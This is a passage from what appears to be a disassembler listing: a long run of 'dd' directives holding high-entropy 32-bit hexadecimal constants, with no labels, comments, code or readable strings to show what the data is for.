		dd 7E57016Ah, 78FE6FB4h, 0E9344020h, 5560F0C7h,	15D19D10h
		dd 334C00A6h, 0FE0ED696h, 6A1E4DBBh, 0A481E075h, 53CC81FAh
		dd 0F20B7E80h, 597F51A2h, 38B10700h, 1DCEAEFBh,	369D00D5h
		dd 3B150FBFh, 0D8FCD274h, 7600B470h, 0A0A9715Dh, 3E349295h
		dd 87808D0Eh, 0DDA8DA56h, 3F00D7B8h, 22E966DCh,	38D6F15h
		dd 0CC6A4633h, 0C18845E7h, 0D672484Bh, 4F837301h, 94E84C95h
		dd 0D241F8h, 0A604256Fh, 0AA93A237h, 11FBD100h,	296436DFh
		dd 0C0A50FAFh, 74C09CEDh, 9720E630h, 0EAAE5000h, 0DD068CFDh
		dd 626C00D5h, 0CB877DCCh, 0E6018086h, 9A1936F3h, 76DC9D67h
		dd 83EF0088h, 0C86EF53Eh, 7CF89407h, 0C15E1100h, 9CB31AD6h
		dd 40CC003Fh, 0CBD596B7h, 0C3008FCDh, 15AD2FA0h, 0B0DE5912h
		dd 0CAD70157h, 9A9D9307h, 8B91E48Dh, 0C7D00500h, 3BE1C48Eh
		dd 49350003h, 0A1B1A06Dh, 0FFE022F2h, 37749D00h, 0D784A55Dh
		dd 13CC0052h, 7201C0E0h, 0B22CFFE5h, 8507CC43h,	0C775E32Dh
		dd 61C89A03h, 1CCFC01Bh, 0AE2301E8h, 0ACECE90Ch, 0D0F570EBh
		dd 32B5DE0Ah, 0E31480FFh, 91D68104h, 6BF0C10Fh,	0D5A200F1h
		dd 0B3A75A0Bh, 43A6426h, 0A600F81Fh, 5695EAD6h,	31376B77h
		dd 3B28D41Dh, 0B13311ADh, 1792FE11h, 2F481F54h,	24B2FA42h
		dd 1BB02102h, 91102312h, 87689BFh, 17094488h, 444BAC44h
		dd 99209ABDh, 28465029h, 652284EBh, 146E509Bh, 5F3644D5h
		dd 8987E684h, 4B4E11B2h, 0EAE7CCh, 0B15FAF43h, 2AB2A9Fh
		dd 3FC01607h, 0E4A0AE9Bh, 0C04D6817h, 0C1A7392Ah, 2800CB63h
		dd 0D6C93041h, 9E7D0Dh,	0CCE39382h, 19FBA532h, 927B300h
		dd 0BAC641E8h, 75CF0E3Ah, 0C71CD4A1h, 8FC5ADA8h, 6F98AAC0h
		dd 9BE4A327h, 0CAAB4C0Fh, 9AA800F7h, 0C05F6961h, 14E238A6h
		dd 90003B71h, 0A2D4AE85h, 29B9E4Fh, 1B6B3E60h, 0A1C39294h
		dd 207C7BD1h, 953E1D00h, 9122800Eh, 0E8508BA8h,	0DB3B0304h
		dd 97667C6Fh, 0EC673FA0h, 3387A306h, 0E07853F3h, 0F6E5005Bh
		dd 7965A222h, 0B003E350h, 0E8011603h, 17B9F8BAh, 34925Eh
		dd 0CB7BE204h, 45DAC86Fh, 495C1D00h, 6B784781h,	0F39000BEh
		dd 0B37B83B9h, 0E200A9F6h, 4106FF37h, 0D7FE91h,	58E1C8E4h
		dd 56491347h, 2638EE06h, 3307F03h, 717DBD25h, 0B4E90FF9h
		dd 798CFC77h, 30023E8h,	4AAC294Bh, 0EA21F4h, 0AF9F94F2h
		dd 4388B607h, 68853A16h, 0AC6ACC00h, 0C8B9CAh, 53D9D225h
		dd 0C1906640h, 0FA40CEDEh, 81752467h, 0F30700A1h, 0D0782235h
		dd 0D6E0099Eh, 3908AD2Eh
		dd 991EF61Ch, 0C532CD00h, 0A08DC0B7h, 0E2EFF09Dh, 52B02FAh
		dd 5C993C1Ah, 430C9F80h, 0E4FF0EAAh, 410E6396h,	0A1D0FFC9h
		dd 0A1746FACh, 2C3AF670h, 57070Dh, 1F73E67Dh, 0B0C03CEh
		dd 60A927B4h, 457F00D2h, 0D6F22668h, 9E016C59h,	38DE353Fh
		dd 0BAF48F01h, 0E9E60074h, 36FC1148h, 0B80403F5h, 3073659Bh
		dd 16E14880h, 0F47FEAh,	243186BDh, 216C39BBh, 0D2142300h
		dd 0F611D9Dh, 0C8895181h, 43B49000h, 2FF8125Ch,	0BF180471h
		dd 3222C083h, 3300951Bh, 5C4CBBD9h, 0EB46CFAh, 0A9031DA2h
		dd 0B271FB20h, 7500C756h, 0BEA318Eh, 0AFE9920h,	0C14B8DA1h
		dd 0E5C600B4h, 849F6AD1h, 13362858h, 5C07EC3Ch,	6400F542h
		dd 3D5C422h, 1E3F5965h,	0A0F67B8Bh, 0D1B7841Ch,	0A088AECFh
		dd 0FBBCE741h, 766D018Dh, 2E0997F3h, 7E202085h,	0EDC64500h
		dd 6FBD4C0h, 0F0C90131h, 3A44D5A1h, 0D081E064h,	2892800h
		dd 63E61B54h, 0BDEA0090h, 6407E78Ah, 0ED005E19h, 0E1F30C28h
		dd 2470DFh, 63ACF0AAh, 660EA66Ah, 0C8C75C00h, 95ADBF5h
		dd 8FB407A8h, 91B8A561h, 207875DEh, 5E0191C8h, 9A5C6E28h
		dd 0F320E6BEh, 4871009Ch, 0CD3B1D6Bh, 0B40067F8h, 699FADEFh
		dd 1AD0BAh, 7B083179h, 8C208F0Fh, 9AEC8801h, 5D667282h
		dd 9771D4h, 0E4E9B4F0h,	0A0DBACAFh, 2EFA6500h, 32A38452h
		dd 15730F8Fh, 6623E7A8h, 2FE093FDh, 9F00F202h, 8F0534E1h
		dd 0B12E46Fh, 0D10BA0AAh, 18B7AC80h, 2D00F184h,	2F31A595h
		dd 0F73C30A8h, 30D69C8h, 0FC2212C0h, 74B84DA7h,	5300EACBh
		dd 2C622766h, 3AF044CCh, 77009796h, 39197E0Bh, 0B600AAB1h
		dd 0B3EE206Dh, 5713E40h, 0E4A39B12h, 6A6CC253h,	80F37EE1h
		dd 81EAB9D2h, 7DFC9D9h,	36A8A373h, 0E9C5CF6Fh, 313280E6h
		dd 72783E96h, 0B3398100h, 16EB083Ch, 3807CF3h, 32F840DCh
		dd 11D0EDC7h, 0D001CCDh, 4579C6F0h, 355617h, 0AE2BE8F8h
		dd 0D37664BBh, 0B961133Bh, 22080E7h, 0CB33BAA8h, 0D9EC0AE1h
		dd 0E479B9h, 0C16C2BCDh, 3407763Ah, 0B1BAD032h,	0F23F56B0h
		dd 0A190047h, 0D178A05Bh, 6E035E28h, 44C5D854h,	0FE53F86Dh
		dd 0EC080025h, 2EC88D13h, 84416982h, 1E8B60h, 9D857BF9h
		dd 94C155BCh, 0DC6C701h, 2A2239CFh, 875C20h, 4A3592BFh
		dd 7D07981h, 311289E2h,	0DC007BECh, 3578A7D8h, 800E005Ch
		dd 117164B4h, 172458F3h, 0BB091C39h, 0F0900090h, 75C27DB7h
		dd 104F0218h, 52666C0Fh, 0D8CCD060h, 67EEB300h,	8C3CDD74h
		dd 0D0E048BCh, 50D5907h, 0B4CA0096h, 0C7735D2h,	2280E400h
		dd 6E04383Ch, 0F4A8EEAEh, 52B51D46h, 242C94h, 1E7034E0h
		dd 90F75FAh, 193ADA0h, 0CAB1945Bh, 7C6424C5h, 0C8B40027h
		dd 2D91EA18h, 73188214h, 0F480B3E6h, 12830595h,	80ACF3F1h
		dd 0CBAD658Fh, 0A2F9EB01h, 0C2EF812Ah, 0C75C64h, 0E14A4393h
		dd 755B6AB0h, 0CA052900h, 0A6AD4DFDh, 0E69200E4h, 0C8639E9Ch
		dd 0A0099D7h, 0E02F4CEAh, 7E1A6784h, 5C850061h,	544DBAF0h
		dd 2600B765h, 757E9530h, 3F24564Ch, 2E80E340h, 3218C744h
		dd 0BD1446E1h, 0A42FEAh, 0FFF452D5h, 15FD08Bh, 3FAD3E3h
		dd 60F05768h, 0E64801FCh, 0BA4A073Bh, 0B8A0EF7Fh, 0AD1484h
		dd 0D825701Eh, 7BF40DC2h, 2C407A48h, 3B688Dh, 0F275B6F8h
		dd 9F0FBC5h, 317E1486h,	9B4CAC80h, 110F3945h, 0A7219E6Ah
		dd 2C200519h, 3BBE9487h, 0D00149E4h, 1A55884Eh,	0C402428h
		dd 0D224DEEAh, 70803412h, 5FBC7E38h, 8A4C00DAh,	0D0CD6120h
		dd 1700D89Ch, 0C521A726h, 0E2CB57h, 0D7C20692h,	0F5B29071h
		dd 0A8E04203h, 0D85F4CE3h, 2A0F0h, 0DD6DFA70h, 0F521316Fh
		dd 0E01F9A7Fh, 0AD00C198h, 0E13D245h, 61EA03DFh, 7CB599DCh
		dd 36B965D0h, 0E1E83C90h, 0ACF4BB0Fh, 6322208Bh, 0B7C0CFFEh
		dd 0C8996304h, 31007DC4h, 782144D1h, 7C989132h,	0F1E800E7h
		dd 7797A288h, 3E01670Ah, 2A47EC14h, 28EF19E3h, 54E7E292h
		dd 9803Bh, 66F3A95Ch, 1568C7F2h, 0F5B06024h, 1A0AF181h
		dd 8470FE46h, 0FE2176F2h, 78B5076Dh, 0E0A35F97h, 0D6FCBA3Ch
		dd 76236A00h, 8EED8053h, 5D1D1E04h, 929742A8h, 84604E22h
		dd 0E9EAF310h, 0D2CF2907h, 9AF0FAEBh, 0B8A7B4F9h, 45BD00B4h
		dd 0B9197FF6h, 0AA00C78Fh, 55B1248h, 433FDCh, 11C92599h
		dd 830F1FE5h, 9FFF5C00h, 0C413D954h, 0CF6C0010h, 24A9798Fh
		dd 183E532Ah, 0AB5A2626h, 48943D09h, 7877950h, 0DB5B4D5Dh
		dd 331300EAh, 4036C9Eh,	681CC12Ch, 0B35EF824h, 0B854004Eh
		dd 0D0FC263Eh, 6516ED8Dh, 0A0B8AC77h, 6F2D3600h, 0EFAFFAE5h
		dd 0E0FD1138h, 959331C8h, 0CE850092h, 6718B1F8h, 6E0238F6h
		dd 0A7883FDFh, 35CC402Fh, 17FD0345h, 0A26FAF43h, 0EE1279E0h
		dd 802A4B3Ch, 718CB85Ch, 12905FAh, 58D1AA57h, 0D8E0CC55h
		dd 7C00A31Fh, 0DE48644Fh, 1F12CA6Dh, 80B2F3F5h,	0E9053A0Dh
		dd 3878A1FAh, 98A58430h, 106A2EDh, 0DEB5428Fh, 60D8DA50h
		dd 0EE0FCE3Ah, 86C4924Fh, 648E99h, 0EAC5301h, 2029A4CDh
		dd 0FC233500h, 72C9FD1Ch, 0CDA05B5h, 0C69E68h, 7B8E46B0h
		dd 2F006D1Ah, 0CBD3B9F7h, 35758Fh, 0B313072Ch, 274A2C8h
		dd 0E91D421Eh, 73BD823Dh, 40977A10h, 0E16BB434h, 1BE4B800h
		dd 4100B690h, 5E594E21h, 0AEB4A3h, 6A2784A0h, 67CD0186h
		dd 0E82A4A01h, 1ACF9D3Dh, 0ED5ECh, 0B5E03EF9h, 288A0C0Ah
		dd 6ED89200h, 42EDD93Dh, 18E30029h, 5384BB9Ch, 4C7AADD5h
		dd 6DA96200h, 1CA495F1h, 60E55CE4h, 7D2A3207h, 0C1FAD39Bh
		dd 7B525AA8h, 0E716BB7Ch, 311F7212h, 0A2DEC000h, 90269227h
		dd 0B3C91385h, 3502004h, 0D8000683h, 552B1ECDh,	1C139973h
		dd 408766E7h, 0FBA51AB0h, 0D84AC0FDh, 0B2C20800h, 56ED57h
		dd 486E0CCFh, 549AF050h, 0A9D85E00h, 477666D6h,	12AF3D97h
		dd 80E43D24h, 8490CE4Fh, 0A400D058h, 3738868Bh,	25AE269Ch
		dd 9880DC3Fh, 0B4839480h, 1E27D00h, 0D1042D1Fh,	10A64819h
		dd 10D29D0Ch, 0A55CA851h, 794008Bh, 0E9E7B041h,	54300008h
		dd 18892A2Dh, 5D00A0EBh, 0A470FE8Ch, 58BC5812h,	0A30500E3h
		dd 0EFD7939Fh, 3CC338C0h, 958A00F1h, 8C9C47B3h,	0B400D156h
		dd 7E9F7CA0h, 0A2F249h,	684A624h, 0C6EF3958h, 689018E8h
		dd 4EB0FF24h, 68011912h, 2C866EF6h, 1DB500EEh, 510067EDh
		dd 22ECA7FDh, 90632A45h, 8090F6h, 59C17DB1h, 0CB270488h
		dd 0D6B77400h, 1C1D113Ch, 0C4F69Bh, 7CDA0247h, 6901B52h
		dd 3A68C548h, 17B0000Eh, 0C0AEFC6Dh, 808800D6h,	40668E74h
		dd 2B030583h, 18770229h, 0B124CB34h, 0B0C48A78h, 7337006Ch
		dd 0D4CF2228h, 0E80026EFh, 0D6E13CDFh, 755C36C5h, 70544809h
		dd 0C0DBE400h, 0D8B4E35Dh, 60BC201Eh, 0E0C1FCCCh, 9C3B16F5h
		dd 0C00C1DEAh, 0F64CAE54h, 40300A09h, 1DF4405Ah, 7B3B00CDh
		dd 22B87E7Fh, 1800E9BFh, 0E09AA737h, 3A09E82Dh,	0B9AC89E2h
		dd 7E033880h, 0BB98A44Fh, 48661007h, 0F7817378h, 0D0404DBDh
		dd 0A1B7A0h, 81C30617h,	87CF3638h, 0B11A4100h, 0FBEEDB29h
		dd 1DD7DC4h, 801E5A5Ch,	0CCB87508h, 90E8F150h, 0BB7F1B00h
		dd 2FB2DE53h, 3D0C072Bh, 0B0050179h, 74BA0BFCh,	0B900B0EAh
		dd 2F4119C2h, 75C9E4h, 5AC1AE0Ah, 3B3ADFA5h, 88B68E2Eh
		dd 0A432B500h, 58BEA3E2h, 21FB12Dh, 877CC0C8h, 336E0F49h
		dd 718DB300h, 764643C9h
		dd 0CDF100DCh, 9CBC95AFh, 12B8AC99h, 0B036B807h, 98F54CBDh
		dd 50F48000h, 7BE546h, 0CAC2A54Bh, 1F84AD4Eh, 0D33A6C7Fh
		dd 332C2635h, 166D6600h, 14F06Eh, 77B7C104h, 25423CAh
		dd 0A0CE0B02h, 80224007h, 3A91BACCh, 2F7CA5h, 0B264E2BBh
		dd 0EFAA8A79h, 4B8B44Dh, 0C0C38722h, 103AB080h,	0B4DAE2BAh
		dd 5A76286Ch, 5D7409C2h, 0C43488E0h, 60936D30h,	12138863h
		dd 4011D353h, 0F5D71D8h, 3226FEDBh, 3E8C5Fh, 0DF80A922h
		dd 7EFA5728h, 0C8B90025h, 0E5452D8Bh, 0E2003AD2h, 0C383FBA6h
		dd 3997E9h, 8D5EFFEEh, 0DE5C6A42h, 58755Ch, 67541EA7h
		dd 4B58679h, 7151800Fh,	96D10008h, 32A13h, 7A3DAB52h, 76627A6h
		dd 30003975h, 9B80ACB3h, 29AA44h, 0A7E13AFAh, 20CD1048h
		dd 0C34ACE28h, 528FAF01h, 2B8D764Fh, 1E38060h, 94267F41h
		dd 80E27C3Ch, 8C07BF9h,	5C7782h, 2AFBBB79h, 5EBEDC33h
		dd 40961505h, 0C0D04C45h, 0E2E61B35h, 97F60BC1h, 340233EDh
		dd 0ACA0DB22h, 3B0F7326h, 0EE86CE00h, 307E3FD0h, 0FD68C984h
		dd 2689F481h, 22D838DCh, 97C200E3h, 30242E46h, 0A2125ABAh
		dd 3D009EA9h, 0DF57FD48h, 40AD22Bh, 0D2836548h,	0BCED76BCh
		dd 0D213C500h, 7036067h, 5BC8A1C7h, 274513E3h, 548CCEEh
		dd 68740010h, 0E6E83B7Eh, 56A7C48h, 92EA4594h, 1F6CC049h
		dd 50952A9h, 98D7A1h, 0CA416ED5h, 0ABFC00AAh, 7A233615h
		dd 600033A3h, 0CB4FBA2Dh, 0EAD6E77Dh, 0E4B5489Dh, 3DE5810Fh
		dd 0C0F189C0h, 900071D9h, 4C5EC9E6h, 3BA0C8A4h,	0A89FE029h
		dd 64DA4021h, 92B97E60h, 18C0CE90h, 77BBAE80h, 7E50E49Eh
		dd 0A52B3CF5h, 0A11EEE3Eh, 93DC4053h, 0B40D3C8Dh, 9520CC07h
		dd 0B230216Eh, 4B1FCBh,	76C343B6h, 3AAF9B2Dh, 757B3Bh
		dd 0DF094401h, 0FDC05E5h, 252EF283h, 704CE4A7h,	0F4D3E288h
		dd 0A398F0F8h, 0B4071390h, 42506E04h, 8667C19Fh, 0FC50FE47h
		dd 5B8FD1B3h, 0C78C4B41h, 9EBA7400h, 330EE62Bh,	402CDE16h
		dd 9F20F580h, 0A84100BCh, 2AA634FBh, 0B15CCC6Fh, 0FAC3076Eh
		dd 1FC5A4DBh, 0D6A1E480h, 0E4D288ABh, 731E7600h, 6FC01C18h
		dd 3E6300FCh, 0D794EB4Bh, 10B28F3Ch, 0C8A2D03Ah, 1A4A16FCh
		dd 432F5080h, 0CABA0C0h, 0DAA20449h, 0E0A5443Ch, 75006338h
		dd 6E971171h, 12B89AD5h, 0A779AEh, 4D5940B4h, 0C900E350h
		dd 48CE53ACh, 0A1F8E5h,	89616860h, 1DB656D5h, 0BFF5240Fh
		dd 40F4A9D2h, 47975Ch, 0EAC2B8DBh, 28929C29h, 57858A00h
		dd 9A90840Eh, 4CE82853h, 0F0BC00F4h, 628E1AFDh,	0EA3E35CAh
		dd 517D0027h, 0F060781h, 64905Ah, 31CB202Eh, 661AFBA7h
		dd 5900AF90h, 0CCEC7627h, 0F6E14698h, 0AA0E015Ch, 0BC6AEFDCh
		dd 0E9C0C089h, 95DD7103h, 9062D197h, 1E9B7B86h,	8068CE2Eh
		dd 0F5897F2Fh, 8A00BD21h, 0A6ACF93Dh, 0EA0C29h,	0DD824202h
		dd 5B3F46Ch, 0BD0151Eh,	0CF8B06C0h, 0B86AB03h, 0DD144161h
		dd 0E7059064h, 24CEB46h, 0DC8007C5h, 16CFCC73h,	72A321h
		dd 0B19CA690h, 0B0033D8h, 42DF7F3Ch, 0FC4EDB08h, 0A99F03ECh
		dd 5193BF53h, 738BB7F8h, 0BDB1FA0Fh, 0CC1A6098h, 3E46D327h
		dd 9C80403Ah, 7B08915h,	0A8DFA9E2h, 0C095594Fh,	0AAB2E778h
		dd 0B60E0072h, 3042090Dh, 2B00AF96h, 0ACE0F9BFh, 2E1BCFEh
		dd 0A4DCCB6Dh, 0C40A99Bh, 6A01EC38h, 7E95408Dh,	0BCEC7971h
		dd 4A7FC24h, 0D98A61F0h, 0EF1CAB4Ch, 2F82B041h,	5460E4F7h
		dd 11E61418h, 5400D401h, 2AA88C90h, 66048537h, 0CA893175h
		dd 0CD909CD7h, 1B7E1Dh,	20E472BEh, 3F93CA8h, 0DF9E6819h
		dd 58E54610h, 116840FEh, 31B70081h, 0A5A024D1h,	97009355h
		dd 4728954Bh, 87BCE3h, 525691E5h, 0BEB8662Eh, 0E4A37F00h
		dd 0BFEF8317h, 7C789Ch,	0E5141EFBh, 52C68EF2h, 0A404F009h
		dd 63B0847Eh, 0A56ECC39h, 37105660h, 0B55D307h,	46678DBAh
		dd 80633A04h, 690BEC4Eh, 0F80ECC00h, 504EB03Fh,	830F0076h
		dd 0AD41ABC7h, 0B8BABA0Dh, 0C13F8800h, 33A07546h, 976B0011h
		dd 0D087D53Eh, 261C36DAh, 70090BFh, 6BD24668h, 0A76F06B1h
		dd 889DEE3Fh, 0B671DD17h, 0F3114018h, 966F0002h, 8A15DA6Dh
		dd 0B43A01F6h, 9BD80016h, 3817C35Bh, 0E54003CCh, 6D52A40Dh
		dd 0CECAB0C7h, 4D00D947h, 0DD8F593Eh, 0C8BDC7h,	86327A18h
		dd 6261443Dh, 2990F601h, 93D49536h, 0CFE1D0h, 6ECA6004h
		dd 0C4BB19B3h, 0E8503E00h, 0C763F753h, 376400F8h, 959B0F6Bh
		dd 0E90024BAh, 0C5E8890h, 38896EF3h, 0A8804293h, 1CEA43CDh
		dd 6D16C746h, 0D90EBCF9h, 0D53F4009h, 257C4B32h, 5C60CCDEh
		dd 1B008FFAh, 0B007579Ah, 4BDBFD53h, 0C40100EEh, 35DAC6F3h
		dd 0A393A700h, 6538ABF8h, 0A6640023h, 4B7DEA78h, 0F90F90F5h
		dd 7F0787B1h, 811C8F49h, 0F7E2DDBCh, 1203FC79h,	0B708D27Ah
		dd 6B58F4FCh, 0A327500Fh, 0E0CE41A7h, 0CDD5342h, 59EC60CEh
		dd 2A9A1361h, 589C0072h, 0E19F85Bh, 97881F00h, 6DCEF9CBh
		dd 16677778h, 72477EEh,	0B0D12F86h, 8031F635h, 36428800h
		dd 0CD95B949h, 70A898CEh, 5820922h, 50017E55h, 606ED9C9h
		dd 130983DCh, 8266FC9Eh, 40EB7F40h, 16A448h, 67212E6Bh
		dd 0EF5D45F6h, 29E16602h, 400E4075h, 1D510418h,	0FFE6A4h
		dd 0E57963C1h, 91015DB5h, 253E6FD9h, 3BC8ECEDh,	1260004Fh
		dd 5482C97Dh, 410E0796h, 0E1689EB1h, 0B817ADF0h, 0E4A7C8h
		dd 0E3DD74E5h, 0E8258D3Ch, 8F217F39h, 5E2F96C6h, 0B3F7A1C0h
		dd 0EBEEB0Fh, 0E9D88D12h, 2654CBA0h, 3A00EDAAh,	4D6FBCB8h
		dd 0EE85F06h, 63E1B2FAh, 0A1A0A0D2h, 0C0CA5E07h, 9474A516h
		dd 5C96F6C0h, 13400072h, 2C1B0DA7h, 90051924h, 6368E4BCh
		dd 40FFFD87h, 0A5B8EF31h, 35B607EBh, 0B017EE99h, 0A85AC772h
		dd 0DF33C21Eh, 0B84D6340h, 5770FBh, 82797A31h, 8A81603Dh
		dd 32D60300h, 6D0CCC1Fh, 0F99F00C8h, 6BF598E7h,	3550FEEBh
		dd 0D7FEBEACh, 0C217B5Fh, 0A8D0CED6h, 342E0073h, 7B4AE72Bh
		dd 9B905B70h, 0B7D98D00h, 0DCF8E6DEh, 5E0F39A3h, 0B488A8h
		dd 0AD93919Ah, 71DFA641h, 3C245600h, 0A580537Dh, 105B13C9h
		dd 82D5183Eh, 7C00DDC5h, 79211995h, 24AE83EFh, 7C524E3h
		dd 80382712h, 0DE6E1484h, 0D6021B00h, 4821625Dh, 0EC97BA2h
		dd 3F0D6CA7h, 23016620h, 3C00FBBEh, 381B7F65h, 6187C6h
		dd 9EC55AD0h, 1495CCA8h, 283F5B03h, 0B33C7045h,	0ADA6B1F0h
		dd 4192060h, 2B40DA09h,	0EB4B988h, 6E9C79F2h, 94BD2065h
		dd 4F2EC3h, 5D13EEE1h, 5E1F8BFAh, 19053116h, 936A9100h
		dd 0E0D83h, 94B3E68Dh, 0E4362284h, 640A4F02h, 0C1D6254Ch
		dd 609FCAF5h, 0EF6E00FFh, 80E0787Ch, 0E1D87A0Eh, 0FD849C99h
		dd 88E0FB48h, 0E9507FE2h, 9BD73000h, 0C734331Dh, 51190712h
		dd 0E0FF3618h, 78530Dh,	85214798h, 124D55E2h, 0FDAADF07h
		dd 5250FBCDh, 0F0626CD3h, 51B5005Dh, 374C5806h,	0EA4F6B1Dh
		dd 687A9800h, 0E9FE6DE0h, 0C1CB3C43h, 0B980C856h, 748F8825h
		dd 8B73B30Eh, 0B40B9D01h, 83B4D5Fh, 0BF62A050h,	0A83061CAh
		dd 0D01F7633h, 2F50FC36h, 7F005A6Ch, 94643ADDh,	716534h
		dd 97239524h, 0EB78C2D3h, 0B70D4E0h, 0C3777900h, 0B2F36D93h
		dd 0AEC00032h, 3B8D3692h, 0AA0EDCE3h, 2EE2D40Fh, 21428054h
		dd 0EACFE06Eh, 574D2238h, 0B47FFF03h, 0D8147D60h, 5980FAh
		dd 0C01CCADBh
		dd 0FB36E78Bh, 67990E1Fh, 782042CEh, 0CF7AC8h, 29F817E3h
		dd 0EA88EC09h, 0C1A64C03h, 882438DCh, 64CE78h, 50DBF1CFh
		dd 1703226Ch, 8595120Bh, 0E3ACE0B4h, 5D9B000Eh,	0E78C15D9h
		dd 4D01EBFDh, 0F4B22DD4h, 38B975F8h, 0C4150F00h, 803EFDDDh
		dd 0E1359800h, 0E9FB8278h, 32E9865h, 56E63D24h,	0EE0867Ah
		dd 17007E36h, 2C642676h, 297DECh, 0C0E5542Fh, 0EB6CFF1Fh
		dd 705B0C1Ch, 9931F140h, 4C51C77Bh, 65008F3Dh, 0C2788B06h
		dd 7F0F42B8h, 20C84F15h, 0EF8FCE7Ah, 80E0F9AAh,	439B00A1h
		dd 0D9F845E4h, 55005DDEh, 196638F4h, 833A81h, 0E673259Ah
		dd 0DE8F5BA0h, 7B215E00h, 46F9BCE7h, 0F29B00E0h, 798596CEh
		dd 29000A3Bh, 574E259h,	78B8E675h, 168C00DFh, 0B6B069B2h
		dd 5319215Dh, 0A0D07CA1h, 83BB044Ah, 0E8A841ABh, 29AC124Bh
		dd 0E018588Bh, 22028E2Ch, 4D7EB8F8h, 4179A7F8h,	59977500h
		dd 0A5EFFA98h, 6A2E00B3h, 0B9522689h, 2C628561h, 22407628h
		dd 9622F586h, 9C7723B6h, 43EA5111h, 21F35011h, 9AAC0C52h
		dd 7C84DE29h, 0FEA2406Bh, 9D0C2284h, 4D3C3250h,	0A11A0E44h
		dd 25F21B14h, 0BF2804A6h, 50C64AC7h, 0C996F80Ch, 0EE14A09Ah
		dd 0C251CA0Dh, 94A30814h, 8C0E95h, 4CAB84D6h, 0BD9AC3h
		dd 0E3993D92h, 7A8C3B90h, 9EB09E2Eh, 2C754B00h,	0AF2B67h
		dd 9B925CB2h, 0AB57FF65h, 350BE00h, 6CED100Fh, 6A2D1DACh
		dd 0BC834024h, 0E023738Bh, 1338C000h, 0A6EE14F9h, 0D52101AAh
		dd 0D089A32Fh, 0F44BEC45h, 9AC56901h, 331D1923h, 0B760A1C1h
		dd 0B50107D9h, 40D3B07Dh, 2E35456Bh, 4D084A17h,	0C7A06505h
		dd 964B26C0h, 11326086h, 4F8394E7h, 9D00B67Eh, 0D4595D49h
		dd 12CB9EB7h, 4079EA60h, 73DA701Ch, 133F36A8h, 0F6A30093h
		dd 17114561h, 0ECAC4AC0h, 853703D2h, 0C087999Dh, 924E56FBh
		dd 11A50044h, 40D1FC20h, 1D309998h, 3A5CC849h, 0CCB50067h
		dd 0E12338C1h, 980139B1h, 20C312E2h, 28822EEFh,	5DAC11A6h
		dd 10003043h, 83BD0650h, 3BC86BAh, 31845FB8h, 45F033FAh
		dd 5900ACE8h, 29621A04h, 1178137h, 0E37A4474h, 4D8DE9DEh
		dd 14ADECD0h, 97B54E00h, 281771A1h, 7F6D1CE3h, 79D0129h
		dd 0C038702Ch, 4A0739E2h, 317D04CEh, 5BC35DB1h,	0B168D4h
		dd 255F4E3Fh, 0A8584224h, 0F6473Fh, 0C7AF3701h,	0BD4307h
		dd 946E5486h, 0EBB290A1h, 923C1900h, 50938976h,	0D5CD0057h
		dd 0D41556AAh, 0A5387A7Bh, 80753048h, 580029Ah,	0F13192F0h
		dd 0DCDC8034h, 8A00C395h, 0C28914F6h, 44B8665h,	1594DFFFh
		dd 0D0088448h, 0CF9109CEh, 860F5501h, 0B08193B7h, 2EB9D840h
		dd 0DFE0D5h, 3DC41171h,	64BDCC85h, 0D328FD00h, 0DC3FA361h
		dd 40B273h, 58DD1EA8h, 0E2C567D1h, 8F842C00h, 5C65CC2Fh
		dd 16F90071h, 7E97F71Ch, 0C4001BDAh, 43323AACh,	39DEB1h
		dd 6C66CD2Fh, 3CC5CC9Bh, 8F36871Ch, 75CE7940h, 53DB73h
		dd 83BCB8C3h, 50A52598h, 28001478h, 9566C905h, 0F2D6BFh
		dd 7A83AC0h, 0CB16CC52h, 0F6A16700h, 9A761AEAh,	0D7403D57h
		dd 0D2179087h, 0F46BF03Bh, 0FF00C1ACh, 0A1986A86h, 7DDE565Fh
		dd 7CF4A002h, 23FA049Ah, 82CC44ECh, 0B88BD69Ah,	9E93200h
		dd 9D05664Ch, 0B9921553h, 4E18C780h, 0FB24016Ch, 8CAD6F41h
		dd 0F9F8509Ah, 0A428D87Ah, 1611F468h, 6301201Fh, 674A5FD1h
		dd 68A4409Dh, 6600BF7Bh, 23C5BA3h, 245C76h, 9E4963D2h
		dd 930AB4AAh, 0C74560Ah, 3900F084h, 5B7728CCh, 854907CDh
		dd 10CBB1D3h, 3187ACEAh, 0EC6E0D00h, 58CE6DDFh,	8F3F00EDh
		dd 8652BB09h, 0F91C2CCCh, 0BF147F88h, 0A1F311ECh, 8132051Fh
		dd 0B148C3CAh, 86A0206Eh, 0F6273500h, 180B4E74h, 0C46A00DBh
		dd 6EA0F5AEh, 0F098D81h, 51D7C2h, 2A2B092Ch, 48980273h
		dd 77A760CCh, 0A1A030C0h, 801CD74Ch, 0F6AEAFEBh, 9F3C018Ch
		dd 6D0C2547h, 3C40CEA6h, 7900C2E9h, 57420A6Eh, 0ACD5A7h
		dd 46D77588h, 0D8F62EE7h, 58D93600h, 0FB2BB345h, 2FE0A8EDh
		dd 39E2E8h, 0BBCFB8B4h,	0C179EE53h, 13A02D15h, 0EAAA0740h
		dd 0DFD0F6E0h, 0ECBCDF5h, 0D0E8D9A0h, 2CB587C0h, 88005BEFh
		dd 0F67733E5h, 476B905h, 0D3413252h, 3AB98083h,	6200F5B2h
		dd 86FBA267h, 1F7B07Ch,	4F31388Eh, 21811B8Ch, 4BCFD8FFh
		dd 427A60F8h, 2FB0307Bh, 5C1E48h, 0C6F1747Bh, 0A0EC0Ch
		dd 53FB89B6h, 4566AFE0h, 59306B1Ch, 957E007Eh, 0BA57D1B5h
		dd 5CAE001Fh, 0D21389ABh, 20049F6h, 0D12E863Eh,	1421401Bh
		dd 0E8A63F18h, 73E43Fh,	0BBEC96D0h, 71FE6D99h, 0C5006FFCh
		dd 0FF6AC81h, 0FFEAF795h, 697BF4h, 0CC7927E0h, 557C3984h
		dd 0E853CF00h, 7FF081C8h, 4D4B2470h, 468E0068h,	4A591EF8h
		dd 0D83AC498h, 0AAA780CFh, 0F6DFCCF1h, 58E800EBh, 1D7255Ch
		dd 907B240h, 4CE33AAFh,	0B1E2AD60h, 83D000F7h, 73CBBA74h
		dd 0FF007D82h, 1D57E66Fh, 0ADD28Bh, 13873EFBh, 16CEEAF0h
		dd 0D7F7800h, 0F96309EFh, 4B620043h, 7013D68h, 1800A5A3h
		dd 1BDFCF5Dh, 1FF0B96h,	0E982FE6Ah, 0F4B44112h,	0C824BABFh
		dd 9000E20Dh, 0C15AA7E6h, 278C0019h, 0A8F0CA0Bh, 750050F4h
